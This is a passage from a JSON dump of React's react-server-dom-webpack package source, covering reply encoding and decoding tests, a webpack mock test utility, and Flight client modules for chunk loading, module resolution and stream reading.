255, 244, 45, 56, 67, 43, 124, 67, 89, 100, 20,\n    ]);\n\n    const formData = await ReactServerDOMClient.encodeReply({\n      a: Promise.resolve('hello'),\n      b: Promise.resolve(buffer),\n    });\n\n    const iterable = {\n      async *[Symbol.asyncIterator]() {\n        // eslint-disable-next-line no-for-of-loops/no-for-of-loops\n        for (const entry of formData) {\n          yield entry;\n          await promise;\n        }\n      },\n    };\n\n    const decoded = await ReactServerDOMServer.decodeReplyFromAsyncIterable(\n      iterable,\n      webpackServerMap,\n    );\n\n    expect(Object.keys(decoded)).toEqual(['a', 'b']);\n\n    await resolve();\n\n    expect(await decoded.a).toBe('hello');\n    expect(Array.from(await decoded.b)).toEqual(Array.from(buffer));\n  });\n\n  it('can pass a registered server reference', async () => {\n    function greet(name) {\n      return 'hi, ' + name;\n    }\n    const ServerModule = serverExports({\n      greet,\n    });\n\n    ReactServerDOMClient.registerServerReference(\n      ServerModule.greet,\n      ServerModule.greet.$$id,\n    );\n\n    const body = await ReactServerDOMClient.encodeReply({\n      method: ServerModule.greet,\n      boundMethod: ServerModule.greet.bind(null, 'there'),\n    });\n    const replyResult = await ReactServerDOMServer.decodeReply(\n      body,\n      webpackServerMap,\n    );\n    expect(replyResult.method).toBe(greet);\n    expect(replyResult.boundMethod()).toBe('hi, there');\n  });\n\n  it('warns with a tailored message if eval is not available in dev', async () => {\n    // eslint-disable-next-line no-eval\n    const previousEval = globalThis.eval.bind(globalThis);\n    // eslint-disable-next-line no-eval\n    globalThis.eval = () => {\n      throw new Error('eval is disabled');\n    };\n\n    try {\n      const body = await ReactServerDOMClient.encodeReply({some: 'object'});\n\n      assertConsoleErrorDev([\n        'eval() is not supported in this environment. ' +\n          'React requires eval() in development mode for various debugging features ' +\n          'like reconstructing callstacks from a different environment.\\n' +\n          'React will never use eval() in production mode',\n      ]);\n\n      await ReactServerDOMServer.decodeReply(body, webpackServerMap);\n\n      assertConsoleErrorDev([]);\n    } finally {\n      // eslint-disable-next-line no-eval\n      globalThis.eval = previousEval;\n    }\n  });\n});\n"
  },
  {
    "path": "packages/react-server-dom-webpack/src/__tests__/utils/WebpackMock.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\n'use strict';\n\nconst url = require('url');\nconst Module = require('module');\n\nlet webpackModuleIdx = 0;\nlet webpackChunkIdx = 0;\nconst webpackServerModules = {};\nconst webpackClientModules = {};\nconst webpackErroredModules = {};\nconst webpackServerMap = {};\nconst webpackClientMap = {};\nconst webpackChunkMap = {};\nglobal.__webpack_chunk_load__ = function (id) {\n  return webpackChunkMap[id];\n};\nglobal.__webpack_require__ = function (id) {\n  if (webpackErroredModules[id]) {\n    throw webpackErroredModules[id];\n  }\n  return webpackClientModules[id] || webpackServerModules[id];\n};\nglobal.__webpack_get_script_filename__ = function (id) {\n  return id;\n};\n\nconst previousCompile = Module.prototype._compile;\n\nconst register = require('react-server-dom-webpack/node-register');\n// Register node compile\nregister();\n\nconst nodeCompile = Module.prototype._compile;\n\nif (previousCompile === nodeCompile) {\n  throw new Error(\n    'Expected the Node loader to register the _compile extension',\n  );\n}\n\nModule.prototype._compile = previousCompile;\n\nconst Server = require('react-server-dom-webpack/server');\nconst registerClientReference = Server.registerClientReference;\nconst createClientModuleProxy = Server.createClientModuleProxy;\n\nexports.webpackMap = webpackClientMap;\nexports.webpackModules = webpackClientModules;\nexports.webpackServerMap = webpackServerMap;\nexports.moduleLoading = {\n  prefix: '/',\n};\n\nexports.clientModuleError = function clientModuleError(moduleError) {\n  const idx = '' + webpackModuleIdx++;\n  webpackErroredModules[idx] = moduleError;\n  const path = url.pathToFileURL(idx).href;\n  webpackClientMap[path] = {\n    id: idx,\n    chunks: [],\n    name: '*',\n  };\n  const mod = new Module();\n  nodeCompile.call(mod, '\"use client\"', idx);\n  return mod.exports;\n};\n\nexports.clientExports = function clientExports(\n  moduleExports,\n  chunkId,\n  chunkFilename,\n  blockOnChunk,\n) {\n  const chunks = [];\n  if (chunkId) {\n    chunks.push(chunkId, chunkFilename);\n\n    if (blockOnChunk) {\n      webpackChunkMap[chunkId] = blockOnChunk;\n    }\n  }\n  const idx = '' + webpackModuleIdx++;\n  webpackClientModules[idx] = moduleExports;\n  const path = url.pathToFileURL(idx).href;\n  webpackClientMap[path] = {\n    id: idx,\n    chunks,\n    name: '*',\n  };\n  // We only add this if this test is testing ESM compat.\n  if ('__esModule' in moduleExports) {\n    webpackClientMap[path + '#'] = {\n      id: idx,\n      chunks,\n      name: '',\n    };\n  }\n  if (typeof moduleExports.then === 'function') {\n    moduleExports.then(\n      asyncModuleExports => {\n        for (const name in asyncModuleExports) {\n          webpackClientMap[path + '#' + name] = {\n            id: idx,\n            chunks,\n            name: name,\n          };\n        }\n      },\n      () => {},\n    );\n  }\n  if ('split' in moduleExports) {\n    // If we're testing module splitting, we encode this name in a separate module id.\n    const splitIdx = '' + webpackModuleIdx++;\n    webpackClientModules[splitIdx] = {\n      s: moduleExports.split,\n    };\n    webpackClientMap[path + '#split'] = {\n      id: splitIdx,\n      chunks,\n      name: 's',\n    };\n  }\n  const mod = new Module();\n  nodeCompile.call(mod, '\"use client\"', idx);\n  return mod.exports;\n};\n\nexports.clientExportsESM = function clientExportsESM(\n  moduleExports,\n  options?: {forceClientModuleProxy?: boolean} = {},\n) {\n  const chunks = [];\n  const idx = '' + webpackModuleIdx++;\n  webpackClientModules[idx] = moduleExports;\n  const path = url.pathToFileURL(idx).href;\n\n  const createClientReferencesForExports = ({exports, async}) => {\n    webpackClientMap[path] = {\n      id: idx,\n      chunks,\n      name: '*',\n      async: true,\n    };\n\n    if (options.forceClientModuleProxy) {\n      return createClientModuleProxy(path);\n    }\n\n    if (typeof exports === 'object') {\n      const references = {};\n\n      for (const name in exports) {\n        const id = path + '#' + name;\n        webpackClientMap[path + '#' + name] = {\n          id: idx,\n          chunks,\n          name: name,\n          async,\n        };\n        references[name] = registerClientReference(() => {}, id, name);\n      }\n\n      return references;\n    }\n\n    return registerClientReference(() => {}, path, '*');\n  };\n\n  if (\n    moduleExports &&\n    typeof moduleExports === 'object' &&\n    typeof moduleExports.then === 'function'\n  ) {\n    return moduleExports.then(\n      asyncModuleExports =>\n        createClientReferencesForExports({\n          exports: asyncModuleExports,\n          async: true,\n        }),\n      () => {},\n    );\n  }\n\n  return createClientReferencesForExports({exports: moduleExports});\n};\n\n// This tests server to server references. There's another case of client to server references.\nexports.serverExports = function serverExports(moduleExports, blockOnChunk) {\n  const idx = '' + webpackModuleIdx++;\n  webpackServerModules[idx] = moduleExports;\n  const path = url.pathToFileURL(idx).href;\n\n  const chunks = [];\n  if (blockOnChunk) {\n    const chunkId = webpackChunkIdx++;\n    webpackChunkMap[chunkId] = blockOnChunk;\n    chunks.push(chunkId);\n  }\n  webpackServerMap[path] = {\n    id: idx,\n    chunks: chunks,\n    name: '*',\n  };\n  // We only add this if this test is testing ESM compat.\n  if ('__esModule' in moduleExports) {\n    webpackServerMap[path + '#'] = {\n      id: idx,\n      chunks: [],\n      name: '',\n    };\n  }\n  if ('split' in moduleExports) {\n    // If we're testing module splitting, we encode this name in a separate module id.\n    const splitIdx = '' + webpackModuleIdx++;\n    webpackServerModules[splitIdx] = {\n      s: moduleExports.split,\n    };\n    webpackServerMap[path + '#split'] = {\n      id: splitIdx,\n      chunks: [],\n      name: 's',\n    };\n  }\n  const mod = new Module();\n  mod.exports = moduleExports;\n  nodeCompile.call(mod, '\"use server\"', idx);\n  return mod.exports;\n};\n"
  },
  {
    "path": "packages/react-server-dom-webpack/src/client/ReactFlightClientConfigBundlerWebpack.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport type {\n  Thenable,\n  FulfilledThenable,\n  RejectedThenable,\n  ReactDebugInfo,\n} from 'shared/ReactTypes';\n\nimport type {\n  ImportMetadata,\n  ImportManifestEntry,\n} from '../shared/ReactFlightImportMetadata';\nimport type {ModuleLoading} from 'react-client/src/ReactFlightClientConfig';\n\nimport {\n  ID,\n  CHUNKS,\n  NAME,\n  isAsyncImport,\n} from '../shared/ReactFlightImportMetadata';\n\nimport {prepareDestinationWithChunks} from 'react-client/src/ReactFlightClientConfig';\n\nimport {\n  loadChunk,\n  addChunkDebugInfo,\n} from 'react-client/src/ReactFlightClientConfig';\n\nimport hasOwnProperty from 'shared/hasOwnProperty';\n\nexport type ServerConsumerModuleMap = null | {\n  [clientId: string]: {\n    [clientExportName: string]: ClientReferenceManifestEntry,\n  },\n};\n\nexport type ServerManifest = {\n  [id: string]: ImportManifestEntry,\n};\n\nexport type ServerReferenceId = string;\n\nexport opaque type ClientReferenceManifestEntry = ImportManifestEntry;\nexport opaque type ClientReferenceMetadata = ImportMetadata;\n\n// eslint-disable-next-line no-unused-vars\nexport opaque type ClientReference<T> = ClientReferenceMetadata;\n\n// The reason this function needs to defined here in this file instead of just\n// being exported directly from the WebpackDestination... file is because the\n// ClientReferenceMetadata is opaque and we can't unwrap it there.\n// This should get inlined and we could also just implement an unwrapping function\n// though that risks it getting used in places it shouldn't be. This is unfortunate\n// but currently it seems to be the best option we have.\nexport function prepareDestinationForModule(\n  moduleLoading: ModuleLoading,\n  nonce: ?string,\n  metadata: ClientReferenceMetadata,\n) {\n  prepareDestinationWithChunks(moduleLoading, metadata[CHUNKS], nonce);\n}\n\nexport function resolveClientReference<T>(\n  bundlerConfig: ServerConsumerModuleMap,\n  metadata: ClientReferenceMetadata,\n): ClientReference<T> {\n  if (bundlerConfig) {\n    const moduleExports = bundlerConfig[metadata[ID]];\n    let resolvedModuleData = moduleExports && moduleExports[metadata[NAME]];\n    let name;\n    if (resolvedModuleData) {\n      // The potentially aliased name.\n      name = resolvedModuleData.name;\n    } else {\n      // If we don't have this specific name, we might have the full module.\n      resolvedModuleData = moduleExports && moduleExports['*'];\n      if (!resolvedModuleData) {\n        throw new Error(\n          'Could not find the module \"' +\n            metadata[ID] +\n            '\" in the React Server Consumer Manifest. ' +\n            'This is probably a bug in the React Server Components bundler.',\n        );\n      }\n      name = metadata[NAME];\n    }\n    // Note that resolvedModuleData.async may be set if this is an Async Module.\n    // For Client References we don't actually care because what matters is whether\n    // the consumer expects an unwrapped async module or just a raw Promise so it\n    // has to already know which one it wants.\n    // We could error if this is an Async Import but it's not an Async Module.\n    // However, we also support plain CJS exporting a top level Promise which is not\n    // an Async Module according to the bundle graph but is effectively the same.\n    if (isAsyncImport(metadata)) {\n      return [\n        resolvedModuleData.id,\n        resolvedModuleData.chunks,\n        name,\n        1 /* async */,\n      ];\n    } else {\n      return [resolvedModuleData.id, resolvedModuleData.chunks, name];\n    }\n  }\n  return metadata;\n}\n\nexport function resolveServerReference<T>(\n  bundlerConfig: ServerManifest,\n  id: ServerReferenceId,\n): ClientReference<T> {\n  let name = '';\n  let resolvedModuleData = bundlerConfig[id];\n  if (resolvedModuleData) {\n    // The potentially aliased name.\n    name = resolvedModuleData.name;\n  } else {\n    // We didn't find this specific export name but we might have the * export\n    // which contains this name as well.\n    // TODO: It's unfortunate that we now have to parse this string. We should\n    // probably go back to encoding path and name separately on the client reference.\n    const idx = id.lastIndexOf('#');\n    if (idx !== -1) {\n      name = id.slice(idx + 1);\n      resolvedModuleData = bundlerConfig[id.slice(0, idx)];\n    }\n    if (!resolvedModuleData) {\n      throw new Error(\n        'Could not find the module \"' +\n          id +\n          '\" in the React Server Manifest. ' +\n          'This is probably a bug in the React Server Components bundler.',\n      );\n    }\n  }\n  if (resolvedModuleData.async) {\n    // If the module is marked as async in a Client Reference, we don't actually care.\n    // What matters is whether the consumer wants to unwrap it or not.\n    // For Server References, it is different because the consumer is completely internal\n    // to the bundler. So instead of passing it to each reference we can mark it in the\n    // manifest.\n    return [\n      resolvedModuleData.id,\n      resolvedModuleData.chunks,\n      name,\n      1 /* async */,\n    ];\n  }\n  return [resolvedModuleData.id, resolvedModuleData.chunks, name];\n}\n\n// The chunk cache contains all the chunks we've preloaded so far.\n// If they're still pending they're a thenable. This map also exists\n// in Webpack but unfortunately it's not exposed so we have to\n// replicate it in user space. null means that it has already loaded.\nconst chunkCache: Map<string, null | Promise<any>> = new Map();\n\nfunction requireAsyncModule(id: string): null | Thenable<any> {\n  // We've already loaded all the chunks. We can require the module.\n  const promise = __webpack_require__(id);\n  if (typeof promise.then !== 'function') {\n    // This wasn't a promise after all.\n    return null;\n  } else if (promise.status === 'fulfilled') {\n    // This module was already resolved earlier.\n    return null;\n  } else {\n    // Instrument the Promise to stash the result.\n    promise.then(\n      value => {\n        const fulfilledThenable: FulfilledThenable<mixed> = (promise: any);\n        fulfilledThenable.status = 'fulfilled';\n        fulfilledThenable.value = value;\n      },\n      reason => {\n        const rejectedThenable: RejectedThenable<mixed> = (promise: any);\n        rejectedThenable.status = 'rejected';\n        rejectedThenable.reason = reason;\n      },\n    );\n    return promise;\n  }\n}\n\nfunction ignoreReject() {\n  // We rely on rejected promises to be handled by another listener.\n}\n// Start preloading the modules since we might need them soon.\n// This function doesn't suspend.\nexport function preloadModule<T>(\n  metadata: ClientReference<T>,\n): null | Thenable<any> {\n  const chunks = metadata[CHUNKS];\n  const promises = [];\n  let i = 0;\n  while (i < chunks.length) {\n    const chunkId = chunks[i++];\n    const chunkFilename = chunks[i++];\n    const entry = chunkCache.get(chunkId);\n    if (entry === undefined) {\n      const thenable = loadChunk(chunkId, chunkFilename);\n      promises.push(thenable);\n      // $FlowFixMe[method-unbinding]\n      const resolve = chunkCache.set.bind(chunkCache, chunkId, null);\n      thenable.then(resolve, ignoreReject);\n      chunkCache.set(chunkId, thenable);\n    } else if (entry !== null) {\n      promises.push(entry);\n    }\n  }\n  if (isAsyncImport(metadata)) {\n    if (promises.length === 0) {\n      return requireAsyncModule(metadata[ID]);\n    } else {\n      return Promise.all(promises).then(() => {\n        return requireAsyncModule(metadata[ID]);\n      });\n    }\n  } else if (promises.length > 0) {\n    return Promise.all(promises);\n  } else {\n    return null;\n  }\n}\n\n// Actually require the module or suspend if it's not yet ready.\n// Increase priority if necessary.\nexport function requireModule<T>(metadata: ClientReference<T>): T {\n  let moduleExports = __webpack_require__(metadata[ID]);\n  if (isAsyncImport(metadata)) {\n    if (typeof moduleExports.then !== 'function') {\n      // This wasn't a promise after all.\n    } else if (moduleExports.status === 'fulfilled') {\n      // This Promise should've been instrumented by preloadModule.\n      moduleExports = moduleExports.value;\n    } else {\n      throw moduleExports.reason;\n    }\n  }\n  if (metadata[NAME] === '*') {\n    // This is a placeholder value that represents that the caller imported this\n    // as a CommonJS module as is.\n    return moduleExports;\n  }\n  if (metadata[NAME] === '') {\n    // This is a placeholder value that represents that the caller accessed the\n    // default property of this if it was an ESM interop module.\n    return moduleExports.__esModule ? moduleExports.default : moduleExports;\n  }\n  if (hasOwnProperty.call(moduleExports, metadata[NAME])) {\n    return moduleExports[metadata[NAME]];\n  }\n  return (undefined: any);\n}\n\nexport function getModuleDebugInfo<T>(\n  metadata: ClientReference<T>,\n): null | ReactDebugInfo {\n  if (!__DEV__) {\n    return null;\n  }\n  const chunks = metadata[CHUNKS];\n  const debugInfo: ReactDebugInfo = [];\n  let i = 0;\n  while (i < chunks.length) {\n    const chunkId = chunks[i++];\n    const chunkFilename = chunks[i++];\n    addChunkDebugInfo(debugInfo, chunkId, chunkFilename);\n  }\n  return debugInfo;\n}\n"
  },
  {
    "path": "packages/react-server-dom-webpack/src/client/ReactFlightClientConfigBundlerWebpackBrowser.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport type {\n  ReactDebugInfo,\n  ReactIOInfo,\n  ReactAsyncInfo,\n} from 'shared/ReactTypes';\n\nconst chunkMap: Map<string, string> = new Map();\n\n/**\n * We patch the chunk filename function in webpack to insert our own resolution\n * of chunks that come from Flight and may not be known to the webpack runtime\n */\nconst webpackGetChunkFilename = __webpack_require__.u;\n__webpack_require__.u = function (chunkId: string) {\n  const flightChunk = chunkMap.get(chunkId);\n  if (flightChunk !== undefined) {\n    return flightChunk;\n  }\n  return webpackGetChunkFilename(chunkId);\n};\n\nexport function loadChunk(chunkId: string, filename: string): Promise<mixed> {\n  chunkMap.set(chunkId, filename);\n  return __webpack_chunk_load__(chunkId);\n}\n\n// We cache ReactIOInfo across requests so that inner refreshes can dedupe with outer.\nconst chunkIOInfoCache: Map<string, ReactIOInfo> = __DEV__\n  ? new Map()\n  : (null: any);\n\nexport function addChunkDebugInfo(\n  target: ReactDebugInfo,\n  chunkId: string,\n  filename: string,\n): void {\n  if (!__DEV__) {\n    return;\n  }\n  let ioInfo = chunkIOInfoCache.get(chunkId);\n  if (ioInfo === undefined) {\n    const scriptFilename = __webpack_get_script_filename__(chunkId);\n    let href;\n    try {\n      // $FlowFixMe\n      href = new URL(scriptFilename, document.baseURI).href;\n    } catch (_) {\n      href = scriptFilename;\n    }\n    let start = -1;\n    let end = -1;\n    let byteSize = 0;\n    // $FlowFixMe[method-unbinding]\n    if (typeof performance.getEntriesByType === 'function') {\n      // We may be able to collect the start and end time of this resource from Performance Observer.\n      const resourceEntries = performance.getEntriesByType('resource');\n      for (let i = 0; i < resourceEntries.length; i++) {\n        const resourceEntry = resourceEntries[i];\n        if (resourceEntry.name === href) {\n          start = resourceEntry.startTime;\n          end = start + resourceEntry.duration;\n          // $FlowFixMe[prop-missing]\n          byteSize = (resourceEntry.transferSize: any) || 0;\n        }\n      }\n    }\n    const value = Promise.resolve(href);\n    // $FlowFixMe\n    value.status = 'fulfilled';\n    // $FlowFixMe\n    value.value = {\n      chunkId: chunkId,\n      href: href,\n      // Is there some more useful representation for the chunk?\n    };\n    // Create a fake stack frame that points to the beginning of the chunk. This is\n    // probably not source mapped so will link to the compiled source rather than\n    // any individual file that goes into the chunks.\n    const fakeStack = new Error('react-stack-top-frame');\n    if (fakeStack.stack.startsWith('Error: react-stack-top-frame')) {\n      // Looks like V8\n      fakeStack.stack =\n        'Error: react-stack-top-frame\\n' +\n        // Add two frames since we always trim one off the top.\n        '    at Client Component Bundle (' +\n        href +\n        ':1:1)\\n' +\n        '    at Client Component Bundle (' +\n        href +\n        ':1:1)';\n    } else {\n      // Looks like Firefox or Safari.\n      // Add two frames since we always trim one off the top.\n      fakeStack.stack =\n        'Client Component Bundle@' +\n        href +\n        ':1:1\\n' +\n        'Client Component Bundle@' +\n        href +\n        ':1:1';\n    }\n    ioInfo = ({\n      name: 'script',\n      start: start,\n      end: end,\n      value: value,\n      debugStack: fakeStack,\n    }: ReactIOInfo);\n    if (byteSize > 0) {\n      // $FlowFixMe[cannot-write]\n      ioInfo.byteSize = byteSize;\n    }\n    chunkIOInfoCache.set(chunkId, ioInfo);\n  }\n  // We could dedupe the async info too but conceptually each request is its own await.\n  const asyncInfo: ReactAsyncInfo = {\n    awaited: ioInfo,\n  };\n  target.push(asyncInfo);\n}\n"
  },
  {
    "path": "packages/react-server-dom-webpack/src/client/ReactFlightClientConfigBundlerWebpackServer.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport type {ReactDebugInfo} from 'shared/ReactTypes';\n\nexport function loadChunk(chunkId: string, filename: string): Promise<mixed> {\n  return __webpack_chunk_load__(chunkId);\n}\n\nexport function addChunkDebugInfo(\n  target: ReactDebugInfo,\n  chunkId: string,\n  filename: string,\n): void {\n  // We don't emit any debug info on the server since we assume the loading\n  // of the bundle is insignificant on the server.\n}\n"
  },
  {
    "path": "packages/react-server-dom-webpack/src/client/ReactFlightClientConfigTargetWebpackBrowser.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nexport type ModuleLoading = null;\n\nexport function prepareDestinationWithChunks(\n  moduleLoading: ModuleLoading,\n  chunks: mixed,\n  nonce: ?string,\n) {\n  // In the browser we don't need to prepare our destination since the browser is the Destination\n}\n"
  },
  {
    "path": "packages/react-server-dom-webpack/src/client/ReactFlightClientConfigTargetWebpackServer.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport {preinitScriptForSSR} from 'react-client/src/ReactFlightClientConfig';\n\nexport type ModuleLoading = null | {\n  prefix: string,\n  crossOrigin?: 'use-credentials' | '',\n};\n\nexport function prepareDestinationWithChunks(\n  moduleLoading: ModuleLoading,\n  // Chunks are double-indexed [..., idx, filenamex, idy, filenamey, ...]\n  chunks: Array<string>,\n  nonce: ?string,\n) {\n  if (moduleLoading !== null) {\n    for (let i = 1; i < chunks.length; i += 2) {\n      preinitScriptForSSR(\n        moduleLoading.prefix + chunks[i],\n        nonce,\n        moduleLoading.crossOrigin,\n      );\n    }\n  }\n}\n"
  },
  {
    "path": "packages/react-server-dom-webpack/src/client/ReactFlightDOMClientBrowser.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport type {Thenable} from 'shared/ReactTypes.js';\n\nimport type {\n  DebugChannel,\n  DebugChannelCallback,\n  FindSourceMapURLCallback,\n  Response as FlightResponse,\n} from 'react-client/src/ReactFlightClient';\n\nimport type {ReactServerValue} from 'react-client/src/ReactFlightReplyClient';\n\nimport {\n  createResponse,\n  createStreamState,\n  getRoot,\n  reportGlobalError,\n  processBinaryChunk,\n  processStringChunk,\n  close,\n  injectIntoDevTools,\n} from 'react-client/src/ReactFlightClient';\n\nimport {processReply} from 'react-client/src/ReactFlightReplyClient';\n\nexport {\n  createServerReference,\n  registerServerReference,\n} from 'react-client/src/ReactFlightReplyClient';\n\nimport type {TemporaryReferenceSet} from 'react-client/src/ReactFlightTemporaryReferences';\n\nexport {createTemporaryReferenceSet} from 'react-client/src/ReactFlightTemporaryReferences';\n\nexport type {TemporaryReferenceSet};\n\ntype CallServerCallback = <A, T>(string, args: A) => Promise<T>;\n\nexport type Options = {\n  callServer?: CallServerCallback,\n  debugChannel?: {writable?: WritableStream, readable?: ReadableStream, ...},\n  temporaryReferences?: TemporaryReferenceSet,\n  unstable_allowPartialStream?: boolean,\n  findSourceMapURL?: FindSourceMapURLCallback,\n  replayConsoleLogs?: boolean,\n  environmentName?: string,\n  startTime?: number,\n  endTime?: number,\n};\n\nfunction createDebugCallbackFromWritableStream(\n  debugWritable: WritableStream,\n): DebugChannelCallback {\n  const textEncoder = new TextEncoder();\n  const writer = debugWritable.getWriter();\n  return message => {\n    if (message === '') {\n      writer.close();\n    } else {\n      // Note: It's important that this function doesn't close over the Response object or it can't be GC:ed.\n      // Therefore, we can't report errors from this write back to the Response object.\n      if (__DEV__) {\n        writer.write(textEncoder.encode(message + '\\n')).catch(console.error);\n      }\n    }\n  };\n}\n\nfunction createResponseFromOptions(options: void | Options) {\n  const debugChannel: void | DebugChannel =\n    __DEV__ && options && options.debugChannel !== undefined\n      ? {\n          hasReadable: options.debugChannel.readable !== undefined,\n          callback:\n            options.debugChannel.writable !== undefined\n              ? createDebugCallbackFromWritableStream(\n                  options.debugChannel.writable,\n                )\n              : null,\n        }\n      : undefined;\n\n  return createResponse(\n    null,\n    null,\n    null,\n    options && options.callServer ? options.callServer : undefined,\n    undefined, // encodeFormAction\n    undefined, // nonce\n    options && options.temporaryReferences\n      ? options.temporaryReferences\n      : undefined,\n    options && options.unstable_allowPartialStream\n      ? options.unstable_allowPartialStream\n      : false,\n    __DEV__ && options && options.findSourceMapURL\n      ? options.findSourceMapURL\n      : undefined,\n    __DEV__ ? (options ? options.replayConsoleLogs !== false : true) : false, // defaults to true\n    __DEV__ && options && options.environmentName\n      ? options.environmentName\n      : undefined,\n    __DEV__ && options && options.startTime != null\n      ? options.startTime\n      : undefined,\n    __DEV__ && options && options.endTime != null ? options.endTime : undefined,\n    debugChannel,\n  );\n}\n\nfunction startReadingFromUniversalStream(\n  response: FlightResponse,\n  stream: ReadableStream,\n  onDone: () => void,\n): void {\n  // This is the same as startReadingFromStream except this allows WebSocketStreams which\n  // return ArrayBuffer and string chunks instead of Uint8Array chunks. We could potentially\n  // always allow streams with variable chunk types.\n  const streamState = createStreamState(response, stream);\n  const reader = stream.getReader();\n  function progress({\n    done,\n    value,\n  }: {\n    done: boolean,\n    value: any,\n    ...\n  }): void | Promise<void> {\n    if (done) {\n      return onDone();\n    }\n    if (value instanceof ArrayBuffer) {\n      // WebSockets can produce ArrayBuffer values in ReadableStreams.\n      processBinaryChunk(response, streamState, new Uint8Array(value));\n    } else if (typeof value === 'string') {\n      // WebSockets can produce string values in ReadableStreams.\n      processStringChunk(response, streamState, value);\n    } else {\n      processBinaryChunk(response, streamState, value);\n    }\n    return reader.read().then(progress).catch(error);\n  }\n  function error(e: any) {\n    reportGlobalError(response, e);\n  }\n  reader.read().then(progress).catch(error);\n}\n\nfunction startReadingFromStream(\n  response: FlightResponse,\n  stream: ReadableStream,\n  onDone: () => void,\n  debugValue: mixed,\n): void {\n  const streamState = createStreamState(response, debugValue);\n  const reader = stream.getReader();\n  function progress({\n    done,\n    value,\n  }: {\n    done: boolean,\n    value: ?any,\n    ...\n  }): void | Promise<void> {\n    if (done) {\n      return onDone();\n    }\n    const buffer: Uint8Array = (value: any);\n    processBinaryChunk(response, streamState, buffer);\n    return reader.read().then(progress).catch(error);\n  }\n  function error(e: any) {\n    reportGlobalError(response, e);\n  }\n  reader.read().then(progress).catch(error);\n}\n\nfunction createFromReadableStream<T>(\n  stream: ReadableStream,\n  options?: Options,\n): Thenable<T> {\n  const response: FlightResponse = createResponseFromOptions(options);\n  if (\n    __DEV__ &&\n    options &&\n    options.debugChannel &&\n    options.debugChannel.readable\n  ) {\n    let streamDoneCount = 0;\n    const handleDone = () => {\n      if (++streamDoneCount === 2) {\n        close(response);\n      }\n    };\n    startReadingFromUniversalStream(\n      response,\n      options.debugChannel.readable,\n      handleDone,\n    );\n    startReadingFromStream(response, stream, handleDone, stream);\n  } else {\n    startReadingFromStream(\n      response,\n      stream,\n      close.bind(null, response),\n      stream,\n    );\n  }\n  return getRoot(response);\n}\n\nfunction createFromFetch<T>(\n  promiseForResponse: Promise<Response>,\n  options?: Options,\n): Thenable<T> {\n  const response: FlightResponse = createResponseFromOptions(options);\n  promiseForResponse.then(\n    function (r) {\n      if (\n        __DEV__ &&\n        options &&\n        options.debugChannel &&\n        options.debugChannel.readable\n      ) {\n        let streamDoneCount = 0;\n        const handleDone = () => {\n          if (++streamDoneCount === 2) {\n            close(response);\n          }\n        };\n        startReadingFromUniversalStream(\n          response,\n          options.debugChannel.readable,\n          handleDone,\n        );\n        startReadingFromStream(response, (r.body: any), handleDone, r);\n      } else {\n        startReadingFromStream(\n          response,\n          (r.body: any),\n          close.bind(null, response),\n          r,\n        );\n      }\n    },\n    function (e) {\n      reportGlobalError(response, e);\n    },\n  );\n  return getRoot(response);\n}\n\nfunction encodeReply(\n  value: ReactServerValue,\n  options?: {temporaryReferences?: TemporaryReferenceSet, signal?: AbortSignal},\n): Promise<\n  string | URLSearchParams | FormData,\n> /* We don't use URLSearchParams yet but maybe */ {\n  return new Promise((resolve, reject) => {\n    const abort = processReply(\n      value,\n      '',\n      options && options.temporaryReferences\n        ? options.temporaryReferences\n        : undefined,\n      resolve,\n      reject,\n    );\n    if (options && options.signal) {\n      const signal = options.signal;\n      if (signal.aborted) {\n        abort((signal: any).reason);\n      } else {\n        const listener = () => {\n          abort((signal: any).reason);\n          signal.removeEventListener('abort', listener);\n        };\n        signal.addEventListener('abort', listener);\n      }\n    }\n  });\n}\n\nexport {createFromFetch, createFromReadableStream, encodeReply};\n\nif (__DEV__) {\n  injectIntoDevTools();\n}\n"
  },
  {
    "path": "packages/react-server-dom-webpack/src/client/ReactFlightDOMClientEdge.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport type {Thenable, ReactCustomFormAction} from 'shared/ReactTypes.js';\n\nimport type {\n  DebugChannel,\n  FindSourceMapURLCallback,\n  Response as FlightResponse,\n} from 'react-client/src/ReactFlightClient';\n\nimport type {ReactServerValue} from 'react-client/src/ReactFlightReplyClient';\n\nimport type {\n  ServerConsumerModuleMap,\n  ModuleLoading,\n  ServerManifest,\n} from 'react-client/src/ReactFlightClientConfig';\n\ntype ServerConsumerManifest = {\n  moduleMap: ServerConsumerModuleMap,\n  moduleLoading: ModuleLoading,\n  serverModuleMap: null | ServerManifest,\n};\n\nimport {\n  createResponse,\n  createStreamState,\n  getRoot,\n  reportGlobalError,\n  processBinaryChunk,\n  close,\n} from 'react-client/src/ReactFlightClient';\n\nimport {\n  processReply,\n  createServerReference as createServerReferenceImpl,\n} from 'react-client/src/ReactFlightReplyClient';\n\nexport {registerServerReference} from 'react-client/src/ReactFlightReplyClient';\n\nimport type {TemporaryReferenceSet} from 'react-client/src/ReactFlightTemporaryReferences';\n\nexport {createTemporaryReferenceSet} from 'react-client/src/ReactFlightTemporaryReferences';\n\nexport type {TemporaryReferenceSet};\n\nfunction noServerCall() {\n  throw new Error(\n    'Server Functions cannot be called during initial render. ' +\n      'This would create a fetch waterfall. Try to use a Server Component ' +\n      'to pass data to Client Components 